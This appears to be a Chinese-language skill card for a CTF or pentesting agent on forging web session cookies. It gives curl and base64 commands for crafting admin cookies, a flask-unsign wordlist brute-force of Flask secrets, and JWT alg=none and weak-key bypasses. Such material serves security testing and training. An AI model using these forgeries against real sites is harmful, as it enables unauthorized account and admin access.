用途:当发现 Web 应用使用 Cookie 进行认证、需要判断 Cookie 类型并选择伪造方法时使用,例如 Cookie 认证绕过、伪造会话。适用前提是已获得一个会话 Cookie,并在运行爆破工具前先做类型识别。
主要流程与能力:
- 提取 Cookie:curl -sI http://TARGET/ | grep -i set-cookie
- 识别类型:先用 base64 解码验证,echo '<cookie_value>' | base64 -d 2>/dev/null,也可尝试 URL 解码版本 python3 -c "import base64,urllib.parse; print(base64.b64decode(urllib.parse.unquote('<cookie>')))"。若解码为有效 JSON,则属于 unsigned base64。
- 对应攻击:unsigned base64 可直接伪造,例如 echo -n '{"user_id":1}' | base64,随后用 curl -b 'session=eyJ1c2VyX2lkIjoxfQ==' http://TARGET/admin/flag;可尝试 user_id、role、is_admin、username 等字段变体。若 Cookie 形如 . 后跟签名段,则可能是 Flask itsdangerous 签名,可用 flask-unsign --decode --cookie '<cookie>' 验证,再用 flask-unsign --unsign --cookie '<cookie>' --wordlist /pentest/AboutSecurity/Dic/auth/flask/flask-secret-key.txt 爆破。若为三段 base64 以 . 分隔,则为 JWT,需转向 jwt-attack-methodology 技能。若 base64 解码为乱码,则可能为加密或二进制 Cookie,需要密钥或填充 oracle 攻击,可检查源代码中的加密密钥。
常见绕过:unsigned 伪造 user_id=1、role=admin、is_admin=true;Flask 签名尝试常见密钥;JWT 若 alg=none 可去掉签名并设为 none,HS256 可尝试常见密钥并检查 JWKS 端点。
关键提醒:不要对 unsigned Cookie 运行 flask-unsign,会浪费 25 分钟以上且必定失败;务必先解码判断类型。
限制:资料未提供目标适用范围、工具安装方式、字典完整内容及成功率说明,暂未提供。